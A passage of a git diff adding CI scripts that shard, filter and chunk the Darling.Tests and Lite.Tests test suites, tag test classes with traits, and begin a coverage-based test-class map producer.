+                         (the build job's Lite-reads pass: '-trait Stage=Guard -trait Reads=Lite'). Empty: all.
+  -RunAttempt            the workflow's run attempt, in the timing file name.
+#>
+param(
+    [Parameter(Mandatory)][int] $Shard,
+    [Parameter(Mandatory)][int] $ShardCount,
+    [string] $EventName = '',
+    [string] $GuardBuildUsed = '',
+    [string] $ResultPrefix = 'darling-pr',
+    [string] $RunAttempt = '1',
+    [string] $SelectionFile = '',
+    [string] $ScopeFilter = ''
+)
+
+$ErrorActionPreference = 'Stop'
+# The cut and the run must agree (#5459): the listing every shard cuts from leaves the Guard classes out exactly
+# when the Guard job ran them, so each remaining class still lands in exactly one shard. No artifact: all classes.
+$guardFilter = @(if ($GuardBuildUsed -eq 'true') { '-trait-'; 'Stage=Guard' })
+$scopeFilter = @($ScopeFilter -split ' ' | Where-Object { $_ })
+$lines = @(dotnet run --project Darling/Darling.Tests/Darling.Tests.csproj -c Release --no-build -- -list classes/json @guardFilter @scopeFilter)
+if ($LASTEXITCODE -ne 0) { throw "class listing failed with exit code $LASTEXITCODE" }
+# Only the runner's one-line JSON array is parsed: the dotnet CLI can print its own notice on stdout,
+# and a line starting "W" after the array failed a shard's ConvertFrom-Json on 2026-09-23.
+$json = @($lines | Where-Object { $_ -match '^\s*\[' })
+if ($json.Count -ne 1) { throw "expected one JSON array line from the class listing, got $($json.Count): $($lines -join ' | ')" }
+$classes = @($json[0] | ConvertFrom-Json)
+if ($classes.Count -eq 0) { throw 'the class listing returned no classes - the shard would silently run nothing' }
+
+$sha = [System.Security.Cryptography.SHA256]::Create()
+$mine = @($classes | Where-Object {
+    ([System.BitConverter]::ToUInt32($sha.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($_)), 0) % $ShardCount) -eq $Shard
+})
+Write-Host "shard ${Shard}: $($mine.Count) of $($classes.Count) classes"
+if ($mine.Count -eq 0) { throw "shard ${Shard} selected zero of $($classes.Count) classes - refusing to run, because a runner with no -class arguments runs the whole suite" }
+
+# The key a class is selected by: its own simple name, split on the same [.+/] as test-map.py's simple_name and
+# ci-select.py's scan_classes. The runner lists a nested class as Namespace.Outer+Inner, and the selection holds
+# `Inner`; splitting on '.' alone would key it `Outer+Inner`, so a nested class (a live PostgreSQL one included) would
+# be left out of every narrowed pull request (#5459).
+function Get-ClassKey([string] $FullName) { return ($FullName -split '[.+/]')[-1] }
+
+# #5459 live selection: a pull request run whose gate pinned a test map keeps only the classes the map picked for its
+# diff (the test-map-select job's selection.json, downloaded by the workflow into -SelectionFile). It is applied AFTER
+# the cut and the zero check above, so every shard still agrees on which shard owns which class. `map-keep` answers
+# FULL (any reason: the selection is FULL, missing, unreadable or empty) or SELECTED plus the names; anything but a
+# clean SELECTED answer, an unreadable answer included, leaves $selected null and this shard runs everything it was
+# cut. A pull request with a usable selection does not also get the Cost=Slow skip below: the selection replaces it.
+$selected = $null
+if ($EventName -eq 'pull_request' -and $SelectionFile -and (Test-Path -LiteralPath $SelectionFile)) {
+    $keep = @(python .github/scripts/ci-select.py map-keep --selection $SelectionFile --suite darling | Where-Object { $_ })
+    if ($LASTEXITCODE -eq 0 -and $keep.Count -gt 1 -and $keep[0] -match '^SELECTED \d+$') {
+        $selected = [System.Collections.Generic.HashSet[string]]::new([string[]]@($keep | Select-Object -Skip 1), [System.StringComparer]::Ordinal)
+        Write-Host "shard ${Shard}: the test map selected $($selected.Count) darling classes for this pull request"
+    }
+    else {
+        Write-Host "shard ${Shard}: no usable test map selection ($($keep -join ' ')), so this shard runs every class it was cut"
+    }
+}
+if ($null -ne $selected) {
+    $kept = @($mine | Where-Object { $selected.Contains((Get-ClassKey $_)) })
+    Write-Host "shard ${Shard}: $($mine.Count - $kept.Count) classes outside the test map selection left out, $($kept.Count) to run"
+    $mine = $kept
+    if ($mine.Count -eq 0) { Write-Host "shard ${Shard}: no class of this shard is in the test map selection, so nothing runs"; exit 0 }
+}
+elseif ($EventName -eq 'pull_request') {
+    # #5459 change 5: a pull request without a usable selection leaves out the Cost=Slow classes its change does
+    # not reach (the rule is ci-select.py's slow_skip; a push, a merge-queue run, the nightly and a release run
+    # every class). A shard that cannot list the pull request's files skips nothing. Like the selection above it
+    # happens AFTER the cut and the zero check, and an emptied shard ends here rather than reaching a runner with
+    # no -class arguments.
+    $skip = @(python .github/scripts/ci-select.py slow-skip --suite darling --event $EventName "--base-ref=$env:SLOW_BASE_REF" --repo $env:SLOW_REPO --pr $env:SLOW_PR | Where-Object { $_ })
+    $kept = @($mine | Where-Object { $skip -notcontains (Get-ClassKey $_) })
+    Write-Host "shard ${Shard}: $($mine.Count - $kept.Count) Cost=Slow classes left out on this pull request, $($kept.Count) to run"
+    $mine = $kept
+    if ($mine.Count -eq 0) { Write-Host "shard ${Shard}: every class of this shard is a skipped Cost=Slow class, so nothing runs"; exit 0 }
+}
+
+# One runner invocation per chunk, never one for the whole shard: Windows CreateProcess caps the
+# complete command line at 32,767 characters, and a Darling PG shard's -class list alone reached ~32,660
+# (#5100). The budget counts only the -class arguments; the other ~170 characters (the dotnet
+# path, 'run --project ... --no-build --', and the -trx argument) must fit in what is left, and
+# 'dotnet run' hands the same arguments on to the test host. Every chunk runs even after one
+# fails, so a failure in an early chunk never hides the rest of the shard's results.
+$argBudget = 30000
+$chunks = [System.Collections.Generic.List[string[]]]::new()
+$current = [System.Collections.Generic.List[string]]::new()
+$currentLength = 0
+foreach ($class in $mine) {
+    $cost = '-class'.Length + 1 + $class.Length + 1
+    if ($current.Count -gt 0 -and ($currentLength + $cost) -gt $argBudget) {
+        $chunks.Add($current.ToArray())
+        $current = [System.Collections.Generic.List[string]]::new()
+        $currentLength = 0
+    }
+    $current.Add($class)
+    $currentLength += $cost
+}
+if ($current.Count -gt 0) { $chunks.Add($current.ToArray()) }
+
+# A failing chunk must set $LASTEXITCODE, not throw, or the later chunks would be skipped.
+$PSNativeCommandUseErrorActionPreference = $false
+# The runner output of every chunk is kept beside the reports (the darling-runner-log-N artifact, #5587).
+New-Item -ItemType Directory -Force -Path TestResults | Out-Null
+$failedChunks = 0
+$chunkNumber = 0
+foreach ($chunk in $chunks) {
+    $chunkNumber++
+    $chunkArgs = foreach ($class in $chunk) { '-class'; $class }
+    $chunkLength = ($chunk | ForEach-Object { '-class'.Length + 1 + $_.Length + 1 } | Measure-Object -Sum).Sum
+    Write-Host "shard ${Shard} chunk $chunkNumber of $($chunks.Count): $($chunk.Count) classes, $chunkLength characters"
+    # -xml: per-test durations for the darling-tests-timing artifact (#5459 change 4: the test map's
+    # selection estimates need a per-class Darling time, and none was recorded before).
+    dotnet run --project Darling/Darling.Tests/Darling.Tests.csproj -c Release --no-build -- @chunkArgs -trx TestResults/$ResultPrefix-${Shard}-$chunkNumber.trx -xml TestResults/darling-timing-${Shard}-$chunkNumber-a${RunAttempt}.xml -longRunning 300 | Tee-Object -FilePath TestResults/darling-runner-${Shard}.log -Append
+    if ($LASTEXITCODE -ne 0) {
+        $failedChunks++
+        Write-Host "shard ${Shard} chunk $chunkNumber of $($chunks.Count) failed with exit code $LASTEXITCODE"
+    }
+}
+if ($failedChunks -gt 0) { Write-Host "shard ${Shard}: $failedChunks of $($chunks.Count) chunks failed"; exit 1 }
+exit 0
diff --git a/.github/scripts/run-lite-shard.ps1 b/.github/scripts/run-lite-shard.ps1
new file mode 100644
index 0000000000..a4b87494ef
--- /dev/null
+++ b/.github/scripts/run-lite-shard.ps1
@@ -0,0 +1,221 @@
+<#
+.SYNOPSIS
+  Runs one shard of the Lite.Tests suite: cuts the class list (by recorded timings when a source is pinned,
+  else by class-name hash), chunks it under the command-line budget, and runs the test host once per chunk
+  (#5616).
+
+.DESCRIPTION
+  The ONE copy of the Lite shard logic. build.yml's lite-tests job (every pull request and push) and
+  nightly.yml's lite-tests job both call it. What differs between the callers is passed in; the env blocks, the
+  restore and build steps and the path gates stay in each workflow. Run from the repository root, after
+  Lite.Tests was built in Release.
+
+  -Shard / -ShardCount   this leg's index and the matrix's leg count (strategy.job-total).
+  -JobIndex              strategy.job-index; equal to -Shard only while `shard` is the matrix's one axis.
+  -EventName             the workflow event. Only 'pull_request' leaves out Cost=Slow classes (#5459 change 5);
+                         the SLOW_PR, SLOW_REPO and SLOW_BASE_REF environment variables carry the rest of that lookup
+                         (a pull request into main, SLOW_BASE_REF=main, skips nothing).
+  -GuardBuildUsed        'true' only when this leg used the Guard job's build (see the Darling script).
+  -ScopeMode             'reads' runs only the classes that read a Darling tree; anything else cuts the whole suite.
+  -TimingRun / -TimingArtifacts
+                         the timing source the gate pinned for the whole run (empty: none, so the hash cut)
+                         and the exact artifact names it pinned. The nightly passes neither.
+  -RunAttempt            the workflow's run attempt, in the timing file name.
+  -SelectionFile         the test map selection the pull request's test-map-select job wrote (#5459); empty or
+                         missing: no selection. A usable one replaces the Cost=Slow skip and keeps only the
+                         classes it names; FULL, unreadable or empty means every class this leg was cut runs.
+#>
+param(
+    [Parameter(Mandatory)][int] $Shard,
+    [Parameter(Mandatory)][int] $ShardCount,
+    [int] $JobIndex = -1,
+    [string] $EventName = '',
+    [string] $GuardBuildUsed = '',
+    [string] $ScopeMode = '',
+    [string] $TimingRun = '',
+    [string] $TimingArtifacts = '',
+    [string] $RunAttempt = '1',
+    [string] $SelectionFile = ''
+)
+
+$ErrorActionPreference = 'Stop'
+# The cut and the run must agree (#5459): every listing below (the full one the shards cut from and the
+# Darling-reads one) leaves the Guard classes out exactly when the Guard job ran them. No artifact: all classes.
+$guardFilter = @(if ($GuardBuildUsed -eq 'true') { '-trait-'; 'Stage=Guard' })
+function Get-LiteClasses([string[]] $filter) {
+    $lines = @(dotnet run --project Lite.Tests/Lite.Tests.csproj -c Release --no-build -- -list classes/json @guardFilter @filter)
+    if ($LASTEXITCODE -ne 0) { throw "class listing failed with exit code $LASTEXITCODE" }
+    # Only the runner's one-line JSON array is parsed; see run-darling-pg-shard.ps1 (a CLI notice on stdout).
+    $json = @($lines | Where-Object { $_ -match '^\s*\[' })
+    if ($json.Count -ne 1) { throw "expected one JSON array line from the class listing, got $($json.Count): $($lines -join ' | ')" }
+    return @($json[0] | ConvertFrom-Json)
+}
+
+$classes = @(Get-LiteClasses @())
+if ($classes.Count -eq 0) { throw 'the class listing returned no classes - the shard would silently run nothing' }
+
+if ($ScopeMode -eq 'reads') {
+    # A diff that reaches only the Darling trees Lite.Tests reads: run the classes that carry the
+    # trait, all of them, in this one leg. The trait set is read off the built assembly, so it is
+    # whatever exists on THIS commit; DarlingReadsTraitGuardTests fails a class that reads a
+    # Darling path without the trait. An empty set is not "nothing to run": it would mean the trait
+    # went missing, so this leg runs the WHOLE suite rather than none of it.
+    $mine = @(Get-LiteClasses @('-trait', 'Reads=Darling'))
+    if ($mine.Count -eq 0) {
+        Write-Host '::warning title=Lite Darling-reads selection is empty::No Lite.Tests class carries [Trait("Reads", "Darling")], so this leg runs the whole Lite suite instead.'
+        $mine = $classes
+    }
+    Write-Host "Darling-reads run: $($mine.Count) of $($classes.Count) classes"
+}
+else {
+    # #5208: all four legs must cut the suite from the SAME inputs (see the lite-tests job header in build.yml). The gate
+    # pinned one timing source for the whole run. With none pinned the cut is the class-name hash
+    # (SHA-256, first byte, modulo the shard count), exactly as before the packer. With one, this
+    # leg downloads that run's timings and packs by duration. A pinned source this leg cannot
+    # fetch FAILS the leg: falling back to the hash here alone, while the other legs cut by
+    # duration, would leave the four cuts not partitioning the suite.
+    $shards = $ShardCount
+    # job-total is the shard count only while `shard` is the matrix's one axis. A second axis would cut into
+    # buckets no leg reads; on a one-axis matrix job-index equals the shard value.
+    if ($JobIndex -ne $Shard) { throw "the lite-tests matrix is no longer the single shard axis (job-index ${JobIndex}, shard ${Shard}), so strategy.job-total is not the shard count" }
+    if ($TimingRun -match '^\d+$') {
+        $planDir = Join-Path $env:RUNNER_TEMP 'lite-shard-plan'
+        $timingDir = Join-Path $planDir 'timings'
+        New-Item -ItemType Directory -Force -Path $timingDir | Out-Null
+        $classesFile = Join-Path $planDir 'classes.txt'
+        Set-Content -Path $classesFile -Value $classes -Encoding utf8NoBOM
+
+        $PSNativeCommandUseErrorActionPreference = $false
+        $downloaded = $false
+        foreach ($attempt in 1..3) {
+            # Start every try from an empty folder: gh will not overwrite a file that a partial try left.
+            Remove-Item -Recurse -Force -Path $timingDir -ErrorAction SilentlyContinue
+            New-Item -ItemType Directory -Force -Path $timingDir | Out-Null
+            gh run download $TimingRun --pattern 'lite-tests-timing-*' --dir $timingDir
+            if ($LASTEXITCODE -eq 0) { $downloaded = $true; break }
+            Write-Host "timing download attempt $attempt of 3 failed with exit code $LASTEXITCODE"
+            if ($attempt -lt 3) { Start-Sleep -Seconds (5 * $attempt) }
+        }
+        if (-not $downloaded) { throw "could not download the Lite timings of run $TimingRun that the gate pinned - failing this shard rather than cutting alone, because the other shards may have cut by duration" }
+        # The gate pinned the exact artifact set. A leg that got fewer (one expired or was deleted since,
+        # which gh skips without failing) would cut from different inputs than the other legs.
+        $expected = @(($TimingArtifacts -split ',') | Where-Object { $_ } | Sort-Object)
+        $got = @(Get-ChildItem -Path $timingDir -Directory | ForEach-Object { $_.Name } | Sort-Object)
+        if ($expected.Count -eq 0 -or ($expected -join ',') -ne ($got -join ',')) { throw "downloaded timing artifacts [$($got -join ', ')] are not the [$($expected -join ', ')] the gate pinned from run $TimingRun - failing this shard rather than cutting from different inputs than the other shards" }
+
+        $packOutput = @(python .github/scripts/lite-shard-pack.py pack --classes $classesFile --shards $shards --out $planDir --timings $timingDir)
+        $packExit = $LASTEXITCODE
+        $packOutput | ForEach-Object { Write-Host $_ }
+        if ($packExit -ne 0) { throw 'the shard packer failed or could not prove its cut total - failing this shard rather than guessing' }
+        # The packer itself falls back to the hash cut when the timings are unusable (missing, corrupt,
+        # empty, all zero, or under 80% of this commit's classes); it says which it used, and so does
+        # the notice below.
+        $method = if (($packOutput -join ' ') -match 'shards by (\w+);') { $Matches[1] } else { 'an unreported method' }
+        # The guard again, on the very files this shard reads.
+        python .github/scripts/lite-shard-pack.py reconcile --classes $classesFile --shards $shards --out $planDir
+        if ($LASTEXITCODE -ne 0) { throw 'the shard files are not exactly the discovered classes - failing this shard' }
+
+        $mine = @(Get-Content -Path (Join-Path $planDir "shard-$Shard.txt") | Where-Object { $_.Trim() })
+        # A fingerprint of the whole plan, identical on every leg when they cut from the same inputs. Each
+        # shard file is labelled, so the same classes split differently across shards give a different id
+        # (joined bare, [A, B] + [C] and [A] + [B, C] hashed the same). Nothing compares the legs' ids: it
+        # is a diagnostic to read side by side, and the pinned artifact set above is what keeps them equal.
+        $planText = (0..($shards - 1) | ForEach-Object { "shard-$_`n" + (Get-Content -Raw -Path (Join-Path $planDir "shard-$_.txt")) }) -join ''
+        $planId = [System.Convert]::ToHexString([System.Security.Cryptography.SHA256]::HashData([System.Text.Encoding]::UTF8.GetBytes($planText))).Substring(0, 12).ToLower()
+        Write-Host "::notice title=Lite shard plan::cut by $method (timings of run $TimingRun); plan $planId. Every shard of this run must print this same id."
+    }
+    else {
+        $sha = [System.Security.Cryptography.SHA256]::Create()
+        $mine = @($classes | Where-Object {
+            $hash = $sha.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($_))
+            ($hash[0] % $shards) -eq $Shard
+        })
+        Write-Host "::notice title=Lite shard plan::no timing source pinned, so this run cuts by class-name hash"
+    }
+    Write-Host "shard ${Shard}: $($mine.Count) of $($classes.Count) classes"
+}
+if ($mine.Count -eq 0) { throw "shard ${Shard} selected zero of $($classes.Count) classes - refusing to run, because a runner with no -class arguments runs the whole suite" }
+
+# The key a class is selected by: its own simple name, split on the same [.+/] as test-map.py's simple_name and
+# ci-select.py's scan_classes. The runner lists a nested class as Namespace.Outer+Inner, and the selection holds
+# `Inner`; splitting on '.' alone would key it `Outer+Inner`, so a nested class (a live PostgreSQL one included) would
+# be left out of every narrowed pull request (#5459).
+function Get-ClassKey([string] $FullName) { return ($FullName -split '[.+/]')[-1] }
+
+# #5459 live selection: a pull request run whose gate pinned a test map keeps only the classes the map picked for its
+# diff (the test-map-select job's selection.json, downloaded by the workflow into -SelectionFile). It is applied AFTER
+# the cut and the zero check above, so every shard still agrees on which shard owns which class. `map-keep` answers
+# FULL (any reason: the selection is FULL, missing, unreadable or empty) or SELECTED plus the names; anything but a
+# clean SELECTED answer, an unreadable answer included, leaves $selected null and this shard runs everything it was
+# cut. A pull request with a usable selection does not also get the Cost=Slow skip below: the selection replaces it.
+$selected = $null
+if ($EventName -eq 'pull_request' -and $SelectionFile -and (Test-Path -LiteralPath $SelectionFile)) {
+    $keep = @(python .github/scripts/ci-select.py map-keep --selection $SelectionFile --suite lite | Where-Object { $_ })
+    if ($LASTEXITCODE -eq 0 -and $keep.Count -gt 1 -and $keep[0] -match '^SELECTED \d+$') {
+        $selected = [System.Collections.Generic.HashSet[string]]::new([string[]]@($keep | Select-Object -Skip 1), [System.StringComparer]::Ordinal)
+        Write-Host "shard ${Shard}: the test map selected $($selected.Count) lite classes for this pull request"
+    }
+    else {
+        Write-Host "shard ${Shard}: no usable test map selection ($($keep -join ' ')), so this shard runs every class it was cut"
+    }
+}
+if ($null -ne $selected) {
+    $kept = @($mine | Where-Object { $selected.Contains((Get-ClassKey $_)) })
+    Write-Host "shard ${Shard}: $($mine.Count - $kept.Count) classes outside the test map selection left out, $($kept.Count) to run"
+    $mine = $kept
+    if ($mine.Count -eq 0) { Write-Host "shard ${Shard}: no class of this shard is in the test map selection, so nothing runs"; exit 0 }
+}
+elseif ($EventName -eq 'pull_request') {
+    # #5459 change 5: a pull request without a usable selection leaves out the Cost=Slow classes its change does
+    # not reach (the rule is ci-select.py's slow_skip; a push, a merge-queue run, the nightly and a release run
+    # every class). A shard that cannot list the pull request's files skips nothing. Like the selection above it
+    # happens AFTER the cut and the zero check, and an emptied shard ends here rather than reaching a runner with
+    # no -class arguments.
+    $skip = @(python .github/scripts/ci-select.py slow-skip --suite lite --event $EventName "--base-ref=$env:SLOW_BASE_REF" --repo $env:SLOW_REPO --pr $env:SLOW_PR | Where-Object { $_ })
+    $kept = @($mine | Where-Object { $skip -notcontains (Get-ClassKey $_) })
+    Write-Host "shard ${Shard}: $($mine.Count - $kept.Count) Cost=Slow classes left out on this pull request, $($kept.Count) to run"
+    $mine = $kept
+    if ($mine.Count -eq 0) { Write-Host "shard ${Shard}: every class of this shard is a skipped Cost=Slow class, so nothing runs"; exit 0 }
+}
+
+# One runner invocation per chunk, never one for the whole shard: Windows CreateProcess caps the
+# complete command line at 32,767 characters, and a Darling PG shard's -class list alone reached ~32,660
+# (#5100). The budget counts only the -class arguments; the other ~170 characters (the dotnet
+# path and 'run --project ... --no-build --') must fit in what is left, and
+# 'dotnet run' hands the same arguments on to the test host. Every chunk runs even after one
+# fails, so a failure in an early chunk never hides the rest of the shard's results.
+$argBudget = 30000
+$chunks = [System.Collections.Generic.List[string[]]]::new()
+$current = [System.Collections.Generic.List[string]]::new()
+$currentLength = 0
+foreach ($class in $mine) {
+    $cost = '-class'.Length + 1 + $class.Length + 1
+    if ($current.Count -gt 0 -and ($currentLength + $cost) -gt $argBudget) {
+        $chunks.Add($current.ToArray())
+        $current = [System.Collections.Generic.List[string]]::new()
+        $currentLength = 0
+    }
+    $current.Add($class)
+    $currentLength += $cost
+}
+if ($current.Count -gt 0) { $chunks.Add($current.ToArray()) }
+
+# A failing chunk must set $LASTEXITCODE, not throw, or the later chunks would be skipped.
+$PSNativeCommandUseErrorActionPreference = $false
+New-Item -ItemType Directory -Force -Path TestResults | Out-Null
+$failedChunks = 0
+$chunkNumber = 0
+foreach ($chunk in $chunks) {
+    $chunkNumber++
+    $chunkArgs = foreach ($class in $chunk) { '-class'; $class }
+    $chunkLength = ($chunk | ForEach-Object { '-class'.Length + 1 + $_.Length + 1 } | Measure-Object -Sum).Sum
+    Write-Host "shard ${Shard} chunk $chunkNumber of $($chunks.Count): $($chunk.Count) classes, $chunkLength characters"
+    # -xml: per-test durations for the lite-tests-timing artifact (#5208).
+    dotnet run --project Lite.Tests/Lite.Tests.csproj -c Release --no-build -- @chunkArgs -xml TestResults/lite-timing-${Shard}-$chunkNumber-a${RunAttempt}.xml -longRunning 300 | Tee-Object -FilePath TestResults/lite-runner-${Shard}.log -Append
+    if ($LASTEXITCODE -ne 0) {
+        $failedChunks++
+        Write-Host "shard ${Shard} chunk $chunkNumber of $($chunks.Count) failed with exit code $LASTEXITCODE"
+    }
+}
+if ($failedChunks -gt 0) { Write-Host "shard ${Shard}: $failedChunks of $($chunks.Count) chunks failed"; exit 1 }
+exit 0
diff --git a/.github/scripts/tag-reads-lite.py b/.github/scripts/tag-reads-lite.py
new file mode 100644
index 0000000000..9d72532839
--- /dev/null
+++ b/.github/scripts/tag-reads-lite.py
@@ -0,0 +1,88 @@
+#!/usr/bin/env python3
+"""Put [Trait("Reads", "Lite")] on the Darling.Tests classes the census names (#5459 cut 3a).
+
+LiteReadsTraitGuardTests derives, from the test sources, which classes read a Lite file, and fails with one
+`<file>: <Class>` line per class that lacks the trait. This script reads that list (the failure text of the
+census run, or any file of such lines) and writes the attribute line above each named class declaration, so the
+tags are generated from the census's own answer and the two cannot disagree about the detector.
+
+    python .github/scripts/tag-reads-lite.py census-output.txt
+
+Idempotent: a class that already carries the trait is left alone. Paths are relative to Darling/Darling.Tests;
+a `Linked/<name>.cs` path is a Lite.Tests file the project compiles in, found under Lite.Tests.
+Standard library only.
+"""
+from __future__ import annotations
+
+import os
+import re
+import sys
+
+ROOT = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", ".."))
+TESTS = os.path.join(ROOT, "Darling", "Darling.Tests")
+TRAIT = '[Trait("Reads", "Lite")]'
+LINE = re.compile(r"^\s*(?P<file>[\w./\\-]+\.cs): (?P<cls>\w+)\s*$")
+
+
+def resolve(rel: str) -> str:
+    path = os.path.join(TESTS, rel.replace("\\", os.sep).replace("/", os.sep))
+    if os.path.exists(path):
+        return path
+    if rel.replace("\\", "/").startswith("Linked/"):
+        return os.path.join(ROOT, "Lite.Tests", os.path.basename(rel))
+    return path
+
+
+def tag(path: str, classes: set[str]) -> int:
+    with open(path, "rb") as fh:
+        raw = fh.read()
+    bom = raw.startswith(b"\xef\xbb\xbf")
+    text = raw.decode("utf-8-sig")
+    eol = "\r\n" if "\r\n" in text else "\n"
+    lines = text.replace("\r\n", "\n").split("\n")
+    decl = re.compile(r"^(?P<indent>[ \t]*)(?:(?:public|internal|private|protected|sealed|static|abstract|partial)\s+)*class\s+(?P<name>\w+)")
+    done = 0
+    i = 0
+    while i < len(lines):
+        m = decl.match(lines[i])
+        if m and m.group("name") in classes:
+            j = i - 1
+            has = False
+            while j >= 0 and lines[j].strip().startswith("["):
+                if TRAIT.replace(" ", "") in lines[j].replace(" ", ""):
+                    has = True
+                j -= 1
+            if not has:
+                lines.insert(i, m.group("indent") + TRAIT)
+                done += 1
+                i += 1
+        i += 1
+    if done:
+        out = eol.join(lines).encode("utf-8")
+        with open(path, "wb") as fh:
+            fh.write((b"\xef\xbb\xbf" if bom else b"") + out)
+    return done
+
+
+def main(argv: list[str]) -> int:
+    if len(argv) != 1:
+        print(__doc__)
+        return 2
+    wanted: dict[str, set[str]] = {}
+    with open(argv[0], encoding="utf-8", errors="replace") as fh:
+        for line in fh:
+            m = LINE.match(line.rstrip("\n"))
+            if m:
+                wanted.setdefault(resolve(m.group("file")), set()).add(m.group("cls"))
+    total = 0
+    for path, classes in sorted(wanted.items()):
+        if not os.path.exists(path):
+            print(f"missing file {path}")
+            return 1
+        total += tag(path, classes)
+    print(f"tagged {total} classes in {len(wanted)} files")
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main(sys.argv[1:]))
diff --git a/.github/scripts/test-map.py b/.github/scripts/test-map.py
new file mode 100644
index 0000000000..899f27bfce
--- /dev/null
+++ b/.github/scripts/test-map.py
@@ -0,0 +1,662 @@
+#!/usr/bin/env python3
+"""The test-class map producer (#5459 change 4, slice 3).  Standard library only.
+
+nightly.yml's `test-map-shard` jobs run the whole Darling.Tests and Lite.Tests suites under AltCover, a few
+shards each, and its `test-map` job joins the shards into `test-map.json.gz`, the file ci-select.py's
+`map_select()` reads (schema 1, documented there).  Three subcommands:
+
+  cut           Cut a runner class listing (`-list classes/json`) into shards by class-name hash, exactly as
+                build.yml's Darling PostgreSQL shards do (SHA-256 of the UTF-8 name, first four bytes as a
+                little-endian uint32, modulo the shard count), then into command-line-sized chunks.  Writes
+                `listed.txt` (this shard's classes) and `chunk-<n>.txt` (one class per line).
+  shard-report  Turn one shard's AltCover OpenCover reports (one per chunk) and xunit reports into
+                `shard.json`: per class the repo files its tests visited, its test seconds, its test and skip
+                counts.  Reports are unioned, so a retry or a second chunk adds, never replaces.
+  build         Join every shard's `shard.json` with what the test sources say and write the map:
+                  classes:{suite:{Class:{own, files, seconds}}}   suite `darling` or `lite`, simple class name
+                  text_patterns:{Class:[globs] or "tree"}
+                `files` holds what coverage saw plus the type-name rule (a type named in the test source maps
+                to the file that declares it, unless more than --max-ident-files files declare that name).
+                `text_patterns` holds the path and tool-name literals of the test source, and "tree" for a class
+                that walks the whole checkout as text.  Coverage cannot see a class that only reads text, a
+                const, or a reflected description; these rules are what keeps such a class from being a hole.
+
+Nothing here talks to a server, and nothing here fails a build: the workflow treats every error as "no map".
+"""
+
+from __future__ import annotations
+
+import argparse
+import fnmatch
+import glob
+import gzip
+import hashlib
+import importlib.util
+import json
+import os
+import re
+import struct
+import subprocess
+import sys
+import xml.etree.ElementTree as ET
+from datetime import datetime, timezone
+
+SCHEMA = 1
+HERE = os.path.dirname(os.path.abspath(__file__))
+SUITE_DIRS = {"darling": "Darling/Darling.Tests", "lite": "Lite.Tests"}
+SUITE_BY_NAME = {"Darling.Tests": "darling", "Lite.Tests": "lite", "darling": "darling", "lite": "lite"}
+CLASS_DECL = re.compile(r"^[ \t]*(?:(?:public|internal|private|protected|sealed|static|abstract|partial|unsafe)\s+)*class\s+(\w+)",
+                        re.M)
+TYPE_DECL = re.compile(r"\b(?:class|struct|enum|record|interface)\s+([A-Z]\w*)")
+GUARD_MARKER = re.compile(r"Trait\(\s*\"Stage\"\s*,\s*\"Guard\"\s*\)")
+TEXT_READ = re.compile(r"File\.ReadAll|RepoRoot|ReadAllText|ReadLines\(|ReadRepoFile|RepoFile")
+STRING = r'"(?:[^"\\\n]|\\.)*"'
+LITERAL = re.compile(STRING)
+RUN = re.compile(STRING + r"(?:\s*,\s*" + STRING + r")+")
+PATHLIKE = re.compile(r"^[\w.\-*]+(?:/[\w.\-*]+)*/?$")
+TOOL_NAME = re.compile(r"^[a-z][a-z0-9]*(?:_[a-z0-9]+)+$")
+IDENT = re.compile(r"\b[A-Z][A-Za-z0-9_]{2,}\b")
+FILE_EXT = {"cs", "js", "css", "xaml", "sql", "ps1", "yml", "yaml", "json", "html", "csproj", "props", "targets",
+            "md", "xml", "sh", "py", "psm1", "psd1", "txt", "config", "svg", "resx", "mjs", "conf", "ini", "cmd", "bat"}
+MAX_BASENAME_MATCHES = 25
+MAX_TOOL_FILES = 6
+MEMBER_REF = re.compile(r"\b([A-Z][A-Za-z0-9_]{2,})\.([A-Z][A-Za-z0-9_]{2,})\b")
+MAX_MEMBER_FILES = 5  # `Type.Member` of a partial type: the files that declare the member, when there are this few
+MAX_NAMED_PARTIALS = 12
+COLLECTION_ATTR = re.compile(r'\[\s*Collection\(\s*"([^"]+)"')
+# A xunit collection shares one fixture (the live-store tests share the store's schema setup). The fixture's set-up
+# runs once and a coverage run credits it to the one test that happened to start it, so most members never "visit"
+# the files it ran. A file that more than this share of a collection's classes visited was therefore run by the
+# fixture, and every member depends on it (#5459: a PgMigrations.cs change broke 389 classes, 8 of them unmapped).
+COLLECTION_SHARE = 0.5
+COLLECTION_MIN_MEMBERS = 5
+MAX_OVERFLOW_FILES = 60  # a class that would be a hole may take the files of a type declared in more files than the cap
+# A repo path written in a comment or doc cref (`Lite/Analysis/AnomalyDetector.cs:120`): the author names the file the
+# class pins, so a change to it selects the class (#5459 slice 4, the Darling/Lite twin pairs).
+COMMENT_PATH = re.compile(r"(?<![\w./\-])((?:[\w.\-]+/)+[\w\-]+\.[A-Za-z]{1,8})\b")
+TEST_DIR = re.compile(r"(^|/)[\w.]*Tests?/")
+SKIP_DIRS = ("bin/", "obj/", "node_modules/")
+
+
+def norm(path: str) -> str:
+    return path.replace("\\", "/")
+
+
+def _probe():
+    sys.dont_write_bytecode = True  # the checkout is not a place for a __pycache__
+    spec = importlib.util.spec_from_file_location("altcover_probe", os.path.join(HERE, "altcover-probe.py"))
+    mod = importlib.util.module_from_spec(spec)
+    sys.modules.setdefault("altcover_probe", mod)
+    spec.loader.exec_module(mod)
+    return mod
+
+
+def simple_name(full: str) -> str:
+    return re.split(r"[.+/]", full)[-1]
+
+
+def read_listing(path: str) -> list[str]:
+    with open(path, encoding="utf-8-sig") as handle:
+        text = handle.read()
+    return json.loads(text[text.index("["):text.rindex("]") + 1])
+
+
+# ---------------------------------------------------------------------------------------------------------
+# cut
+# ---------------------------------------------------------------------------------------------------------
+
+def shard_of(name: str, total: int) -> int:
+    """build.yml's cut: BitConverter.ToUInt32 of the first four SHA-256 bytes is little-endian."""
+    return struct.unpack("<I", hashlib.sha256(name.encode("utf-8")).digest()[:4])[0] % total
+
+
+def chunk_names(names: list[str], budget: int) -> list[list[str]]:
+    chunks: list[list[str]] = []
+    current: list[str] = []
+    length = 0
+    for name in names:
+        cost = len("-class") + 1 + len(name) + 1
+        if current and length + cost > budget:
+            chunks.append(current)
+            current, length = [], 0
+        current.append(name)
+        length += cost
+    if current:
+        chunks.append(current)
+    return chunks
+
+
+def cmd_cut(args) -> int:
+    classes = read_listing(args.list)
